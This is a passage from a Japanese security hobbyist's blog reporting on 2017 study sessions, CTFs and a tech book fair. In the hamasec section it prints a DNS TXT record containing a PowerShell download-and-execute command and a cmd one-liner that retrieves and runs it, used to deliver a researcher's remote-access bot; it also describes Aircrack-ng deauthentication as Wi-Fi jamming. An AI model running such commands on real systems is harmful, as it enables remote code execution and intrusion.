レーザープリンタと共に生活してきた方から、直接プリンタを触れる状況ならMITMで容易に印刷情報を盗めるんだという話を聞きました。
プリンタも管理者以外、設定変更やファクトリーリセットできないようになる日が近いかもしれない。
君達の暗号化されたコンピュータは、全て我々がいただいた。¶
PCのメモリって、電源切った直後なら消えずに残ってるんだよ、という話。
後は書いていいか解らないから、自粛する。
薄いハイパーバイザを利用した高効率なリモートデバッグ¶
るくす先生の難しい話。Kernel開発がより楽になるかも。マルウェア調査でも「QEMUに穴開けて横から覗いてる」なんて話を聞いたことがあるので、応用が聞くかもしれない。
CSIRT設立は難しい?いや、それは孔明の罠だ…¶
CISRTという言葉に踊らされている現状へのアンチテーゼを…なんというかもぅ…すごいエモく語って下さいました。
私の理解を簡単に書くと
- 何かが起こった時、それを受け付ける窓口が会社には必ずあるハズ。
- それはもう、CSIRTと言って良い(だからコンサルに高いお金を払うのは意味がない)
- その人達を育成すればよいんだ。
- 今頑張ってる人たちは、経営層にアピール必要か(今まで対処できているから、何も起きていない。会社に対応組織(能力)が無いわけではない)
アメイジングツールマン – ツールを修得して21世紀のハッキング可能なスイスアーミーナイフのフレームワークを提案する¶
よく使われるツールを紹介頂いた。最近は雨後の筍のごとくツールが増殖しているので、もぅ多すぎて追いかけらんない。。
そして、それらの機能を統合したlulumiというツールを開発中だとか。期待してます。
Tool names | explain |
---|---|
Recon-ng | Pythonで書かれたOSINT用のツール Qiita - Recon-ngの使い方 |
FOFA | shodanのような検索エンジン |
Tqlmap | Code and Server-Side Template Injection Detection and Exploitation Tool |
XSS'OR(XSSOR2) | Hack with JavaScript.online |
CyberChef | Base64エンコード/デコードや16進数変換など、開発作業を行っている際必要となるさまざまな処理を一つに纏めたWebアプリケーション |
BeEF | BeEF is short for The Browser Exploitation Framework. |
Firefox plugin | explain |
---|---|
HackBar | Testing sql injections, XSS holes and site security. |
Live HTTP Headers | HTTPリクエストのヘッダ部分を見る。 |
Modify Headers | HTTPヘッダの書き換え |
cookies manager+ | cookieの書き換え。古いかも。 |
サイバー攻撃観測記録 〜彼の名はヨセフ〜¶
NICTが開発したSTARDUSTというスーパーすごいハニーポットの運用記録をご紹介頂きました。
ちゃんと動くトロイって意外に無いもんなんですね。
SEQCONというクイズ大会にも出たがやぎゅはしゅさんという筋肉に負けた。筋肉には勝てない。人権が無かった。
相変わらずのカオスでしたが、Twitterでは知ってるけど会ったこと無い方に出会えたりして良かった。
できればまた来年も参加したい。
技術書典3に行ってキマシタワー
技術書典3¶
技術書典3
どんどん規模が大きくなる技術書の同人誌販売イベント。
コミケは行ったことがないのだけれど、技術書典だけは3回目。なぜかこのイベントはだいたい雨。ですが整理券を配ってくださったおかげで、雨風に晒されることはありませんでした。
前回と比べ、Deep learningとかAI関係が増えている印象だけれど、全体としてはカバーするジャンル自体が広がっている気がします。ロボット、IOT、ラズパイ、ROS、フロントエンド、JavascriptでASTとか…どれも面白そうだわ。。
俗に薄い本というけど、この内容で500円とかありえん良さ味が深い。内容的には鬼厚い。
いまから読むのが楽しみです。
以下を買いました。読むのが楽しみ。¶
TomoriNao¶
技術書典3:TomoriNao 詳細¶
世界的なセキュリティのコンテストで活躍した経験を活かし、バイナリ解析やWeb脆弱性診断などの情報セキュリティ技術を中心とした技術同人誌
前回のSECCON決勝出てた友利奈緒が書いた本。買った。すぐ買った。一見、マジもんの薄い本に見えますが、私が知りたい技術情報がドンピシャで詰まってる素晴らしい本!
ググっても出て来にくいセキュリティ技術¶
技術書典3:ニッチ・セキュリティ 詳細¶
セキュリティ
電子書籍(PDF)で販売されておりました。買った。すぐ買った。ググっても出てこない情報、超貴重。
そう言えばオライリーさん¶
確認しなかったけど、100万円で全部入り売ってたのかな?
ちょっと気になったので、定点観測。
前回の時点(2017.4.9)だど、467書籍あって、合計160万4880円でした。
$ curl -s http://www.oreilly.co.jp/catalog/index.html|grep price|wc -l
467
$ curl -s http://www.oreilly.co.jp/catalog/index.html|grep price|cut -d'>' -f9|cut -d' ' -f1|tr -d ',th<'|tr '\n' '+'|sed -e 's/$/0/g'|cut -c2-|bc
1604880
今(2017.10.22時点)だと、489書籍あって、合計168万48円ですね。増えてる!
$ curl -s https://www.oreilly.co.jp/catalog/index.html|grep price|wc -l
489
$ curl -s https://www.oreilly.co.jp/catalog/index.html|grep price|cut -d'>' -f9|cut -d' ' -f1|tr -d ',th<'|tr '\n' '+'|sed -e 's/$/0/g'|cut -c2-|bc
1680048
ちなみに昔のシェル芸が通らなくて、アレ?ってなったけどhttpからhttpsにリダイレクトされるようになってた!オライリーさんもhttps対応したんですなー。
ODCssmjpシェル芸katagaitaiCTF勉強会 に参加させて頂きました!
なぜか8月下旬は色々な勉強会が集中しておりました。
欲張って行きたいの全部行った。死んだ。人は許容量を超える情報量を一度に受け取ると死ぬ。
OpenDevelopersConference 2017 Tokyo (2017/8/19-20)¶
オープンデベロッパーズカンファレンス2017 Tokyo - 開発者の「今」を伝える¶
オープンソースの最新動向に関する展示・セミナーイベント。参加無料。
アレです。セミナーがめっちゃ面白いです。これはセミナー聞きに行くべき。
パパ鰻師さんだったんだよぉ
タイトルからして面白いけど、寝不足はいけないという事が解りすぎて面白い
GitHubスター日次ランキング一位になった脆弱性スキャナVulsの開発の裏側
神戸さんがファンキーすぎて面白い(マンガみたいな人生歩んできておられる)
NetBSDのご紹介
知らないCPUアーキテクチャが当たり前のように出てきて面白い
最後に抽選で本を頂きました!
頂きました!ありがとうございますありがとうございます#opendevcon #ll2017jp pic.twitter.com/Mx4jWWDj2Q
— kanata (@kanata201612) 2017年8月20日
ssmjp 祝ssmjp100回記念 (2017/8/25)¶
2017年08月の#ssmjp 祝ssmjp100回記念~100回目の延長戦~まとめ¶
ssmjp なう
101回目だそうですが、私は初めて参加させて頂きました。
- AV Tokyoで登壇してた abend さんが登壇してた。やべぇこの人面白いwwwというか、ssmjp面白いwww
- イカログの人も登壇されてた。当時、スゲーなコレ、、と思ってたけど、やっぱりやってる事がスゴかった。
意外にセキュリティクラスタの人が多いらしく、自分の趣味にぴったんこ合致するんだけど、いかんせん平日開催なので、なかなか行けない・・・
jus共催 第30回危念シェル芸勉強会 (2017/8/26)¶
jus共催 第30回危念シェル芸勉強会の報告¶
昨日、2017年8月26日、さくらインターネットさんのセミナールームにて第30回のシェル芸勉強会を開催しました。 共催の日本Unixユーザ会さん、さくらインターネットさん、横田さん、宮川さん、常連さん、初参加の方々、参加されたUSP研究所のお二方、ありがとうございました。 そして、午前の講師の鳥海さん。昼食に行くときに置き去りにして、さらに昼食後も置き去りにし、マルエツで買い物袋を運ばせ、大変失礼いたしました。
上記にまとめられております。毎回めっちゃ勉強になります。
自分は、解けてるふりしてるだけで7割方解けてません。まだまだ勉強不足・・・
ちなみにLTしました。
この勉強会と同日に江戸前セキュリティ勉強会をやっていて、凌さんが講義されていたようです。
以下、Twitterから状況がなんとなく解ります。
凌さん「世界中のPowershellの95%が悪意を持っているという説もあるので良いPowershellをふやしていきたい」 #edomaesec
— もってぃ (@mot_skmt) 2017年8月26日
そして、同日、私のLTがコレです。
っべー・・・ っべーわ・・・
ベクトルが真逆の形になったわ
katagaitai CTF勉強会 #9 - 関東|easy (2017/8/27)¶
katagaitai CTF勉強会 #9 - 関東|easy : ATND¶
h2. 概要 * チームkatagaitaiの実施する, "CTF"に関する勉強会です.過去問...
場所は安定の秋葉原UDX!受講者が無限に入る。
午前の部 bataさん¶
圧倒的な情報量と、気の遠くなるような解答までの手順・・・普通にやっても数人月単位の仕事量な気がするけど、ガチ勢は数時間でやっちゃうんですね。。。
意味は解ったけど、まったく解ける気はしない。世界の壁の高さ、ヤバイ。
katagaitaiCTF勉強会#9で発表したスライドを公開しました(誤字の修正などが幾つか入ってます) #katagaitaiCTFhttps://t.co/yACZ7uICtb
— bata (@bata_24) 2017年8月27日
午後の部 やぎはしゅさん¶
ひさしぶりにXSSしました!楽しかったです!
XSSしてcookie(フラグ)の飛ばし先をこのサーバにして、アクセスログを眺めてました。
ランキングはギリギリ残るぐらいの微妙順位だった。ガチ勢ヤバイ。
自分が昔メモしてたXSSチートシートはリンク切れになってたり、古かったりして、あまり役に立たなかった。
フロントエンドの流れはやっぱり早くて、XSSの知識もすぐ古くなるっぽい。
深いHTML5の知識+深いJavaScriptの知識+過去事例+ひらめき が、必要っぽい。奥が深い。
ダントツトップのhfukudaさんのwriteupが大変参考になります。
記憶がdecayする前にwriteupを書きました https://t.co/cdJRg3M00O #katagaitaictf
— hfukuda (@__cooper) 2017年8月27日
ちなみに、CTFでのXSS問題は、これまで技術的な課題が多くてなかなか理想的な形で実現できなかった歴史がありますが、
今回の「サーバサイドでHeadless Chromeが動く」というやり方が、かなりいい感じで動いていました!!
今後のCTFのWeb問は大変革が起こるかも!
ハッカー飴頂きました!今回は黒い!!(3000個単位で発注したのかな?)
ハッカー飴&メモ帳頂き、ありがとうございました〜 #katagaitaiCTF pic.twitter.com/LsXNcxc9bI
— kanata (@kanata201612) 2017年8月27日
濱⛵せっく 出張版 #3 に参加させて頂きました (1コメント)
普段は仕事の都合により平日の勉強会は、ほぼ出れないんですが、運良く休みにできたので「濱⛵せっく」に参加させて頂きました!
- 濱⛵せっく とは
横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は3度目の出張版です。
ちなみに第2回の記事は→ 濱⛵せっく 出張版 #2 に参加させて頂きました
濱せっく 出張版 #3 (2017/08/02 19:00〜)¶
濱せっくとは 横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は3度目の出張版です。 読み方:はませっく #### 対象者 セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。 なお、横濱にお住まいでなくても参加できます。 ## 開催日時 * 2017年8月2日(火) * 18:30開場 / 19:00開始 * 21:00~21:30 終了見込み * 22:00 完全撤収 (それまでは参加者同士や講師陣とお話ししてて大丈夫です) ## 会場 ...
以下、感想
PowerShell版ShinoBOT @Sh1n0g1¶
ShinoBOTの@Sh1n0g1さんですよ!!
奥さんとDEFCON行ってたそうです。いいな私も死ぬまでに行きたい。
さてさて、お話の内容はPowerShell版ShinoBOTです。これが素晴らしいクオリティで。
普通にターミナルとして使えるんじゃないかしらw
ShinoBOT.ps1¶
null
特筆すべきは、これですよ・・・
DNSのTXTレコードにPowerShellのコードを仕込む¶
エビスさんのコメント
手元のUbuntuで
— Blacknon(エビス) (@blacknon_) 2017年8月2日
dig TXT https://t.co/FOcJ1edSyb @8.8.8.8
で見ると、確かにコード入ってる
TXTレコードをこういう使い方するのかー
#hamasec
どういう事かと申しますと
$ dig @8.8.8.8 shinobotps1.com txt ; <<>> DiG 9.9.4-RedHat-9.9.4-29.el7_2.4 <<>> @8.8.8.8 shinobotps1.com txt ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52266 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;shinobotps1.com. IN TXT ;; ANSWER SECTION: shinobotps1.com. 3599 IN TXT "powershell IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php')\;" ;; Query time: 272 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: 木 8月 03 21:28:31 JST 2017 ;; MSG SIZE rcvd: 158
なんとDNSのTXTレコードに、PoweShellのコードをダウンロードして実行する手続きが設定されているんですよ…!
Windowsなら、以下で確認できます。
>nslookup -querytype=TXT shinobotps1.com サーバー: UnKnown Address: xxx.xx.xxx.x 権限のない回答: shinobotps1.com text = "powershell IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');" shinobotps1.com nameserver = ns1.domain.com shinobotps1.com nameserver = ns2.domain.com ns2.domain.com internet address = 65.254.254.171 ns1.domain.com internet address = 66.96.142.147
つまり、対象のPCに対して
for /F “usebackq tokens=*” %i in (`”nslookup -querytype=TXT shinobotps1.com”`) do cmd /c %i
を実行できればPowerShellのコードが動いちゃうんですね。
フルサービスリゾルバ(DNS権威サーバ)を自前で用意しないと実現できないですが、なんかDNSサーバ欲しくなりますねw
PowerShellコードの難読化¶
しかも、ダウンロードの度に動的にコードが変わる。ウィルス対策ソフトに検知されにくくする対策です。
高度…!
これ↓リロードする度に内容が変わる。
https://shinobotps1.com/download_get.php
あの日学んだ攻撃の方法を僕たちはまだ知らない @01ra66it¶
Twitterでよくお見かけしておりましたが、生@01ra66itさんを目撃
Aircrack-ngで、任意のAPを通信不能にする方法を照会して頂きました。
悪意のあるAPを黙らせるのに効果的ですね!
手続きの詳細は省略しますが、Aircrack-ngの一般的な使い方の応用なのでググればすぐ出てくるでしょう。
- パケット収集
- パケット解析
- 解析結果からパスワードを発見
てな感じで通常実行するんですが、APと通信している端末が無いと「1.パケット収集」時にパケットの収集が捗らない場合があります。
そんな時に、Aircrack-ngでは、バッサリ切断する(たぶん、データリンク層レベルで)パケットを出すことが出来て、その際の再接続のパケットを収集するという技があります。
これを短い間隔で連続で繰り出せば、通信できなくなっちゃいますねw
ジャミングとして使うという発想がなかっただけに、目からウロコでございました。
ちなみに、USBのWifiアンテナを使って、それをVMwareのKaliLinux上のAircrack-ngで動かす方法は以下になりますよ(昔調べてた)
Aircrack-ngを使うためにVMwareのKaliLinuxでUSBトングルのWifiを使う
リークドコード的何か 0xH@jic¶
これ、、めっちゃ濃い情報で面白かったです!
私は、以下を読んでたので、コレと@0xH@jicさんの話がリンクして大変興奮しました。
読んでみるのオススメ!世界レベルでのサイバー戦争の闇が、ちょっとだけ垣間見れます。
THE ZERO/ONE¶
暴露されたCIAの諜報能力「Vault 7」の衝撃度(前編)
https://the01.jp/p0004740/
暴露されたCIAの諜報能力「Vault 7」の衝撃度(中編)
https://the01.jp/p0004753/
暴露されたCIAの諜報能力「Vault 7」の衝撃度(後編)
https://the01.jp/p0004767/
Wanna Cryに攻撃手法を提供した「Shadow Brokers」とは何者か?
https://the01.jp/p0005012/
再び世界を襲ったNSAのエクスプロイト
https://the01.jp/p0005312/
身代金を「本気で要求していない」身代金ウイルス
https://the01.jp/p0005325/
もはやランサムウェアとは呼べない「NotPetya(Petya)」の恐怖 (3) 3000万円で復号キー売ります
https://the01.jp/p0005338/
LT¶
「書籍を執筆した話」 @takahoyo¶
生takahoyoさん、略して生ほよさんがいた。
セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-はもう買ってた。セキュリティコンテストのためのCTF問題集も買います~
これが噂のお買い得セットですか→【期間限定セット】セキュリティコンテストのためのCTF問題集[セキュリティコンテストチャレンジブック付き]|Tech Book Zone Manatee #Manatee https://t.co/w7RBQWRaEn #hamasec
— もってぃ (@mot_skmt) 2017年8月2日
「QEMUの脆弱性と宣伝」 @hama7230¶
赤いサンタの帽子のTwitterの人を生で見た。略して生(以下略
Tokyo WesternsというCTFガチ勢を目の当たりにしてジョバった。
なんか今回はガチ勢が集結しているっぽい。
QEMUには浪漫があって、浪漫の先にゲストOSを突破してホストOSに到達できる。
あと、Tokyo Westerns CTF というのがあってですね。
宣伝
— 笑われ男 (@Waraware_man) 2017年8月2日
CTF開催します 9/2~9/4
#HamaSec #Security #Forensic #OSINT pic.twitter.com/qesh5YxacP
やりたみがある。
「8/24(木) Security-JAWS、9/1(金) NW X Security-JAWSやります」@Typhon666_death¶
宣伝
— 笑われ男 (@Waraware_man) 2017年8月2日
8/24(木) Security-JAWS
9/1(金) NW X Security-JAWS ほか
#HamaSec #Security #Forensic #OSINT pic.twitter.com/VEytx0aDv3
8月下旬は、何故かいろんなイベントが重なっていてツライ。どれか選ばなければ・・・
「8/26(土)MINI hardening に遊びにおいでよ!」 @delphinz¶
LT
— 笑われ男 (@Waraware_man) 2017年8月2日
4.「8/26(土)MINI hardening に遊びにおいでよ!」 @delphinzさんhttps://t.co/i7FeZwnnld
#HamaSec #Security #Forensic #OSINT
hardeningは経験ないけど面白そう。
本当は怖いXML @icchyr¶
XMLは、なかなか闇が深そうな匂いを感じた。
今度詳しく知りたいと思いました~。
« 前 1 ... 4 5 6 7 8 ... 16 次 » (51-60/153)
他の形式にエクスポート: Atom